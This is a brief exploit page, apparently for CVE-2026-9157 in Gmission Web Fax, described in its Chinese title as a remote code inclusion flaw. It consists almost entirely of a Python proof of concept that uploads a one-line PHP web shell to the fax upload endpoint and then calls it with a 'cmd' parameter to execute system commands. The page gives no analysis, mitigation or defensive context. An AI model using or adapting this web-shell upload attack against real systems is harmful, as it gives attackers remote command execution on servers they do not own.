CVE-2026-9157 Gmission Web Fax 远程代码包含漏洞

# PoC for CVE-2026-9157 import requests target = "http://example.com/fax/upload" malicious_file = {'file': ('exploit.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream')} response = requests.post(target, files=malicious_file) if response.status_code == 200: print("Upload potentially successful.") # Attempt to trigger the inclusion/execution exec_url = "http://example.com/fax/uploads/exploit.php" r = requests.get(exec_url, params={'cmd': 'id'}) print(r.text)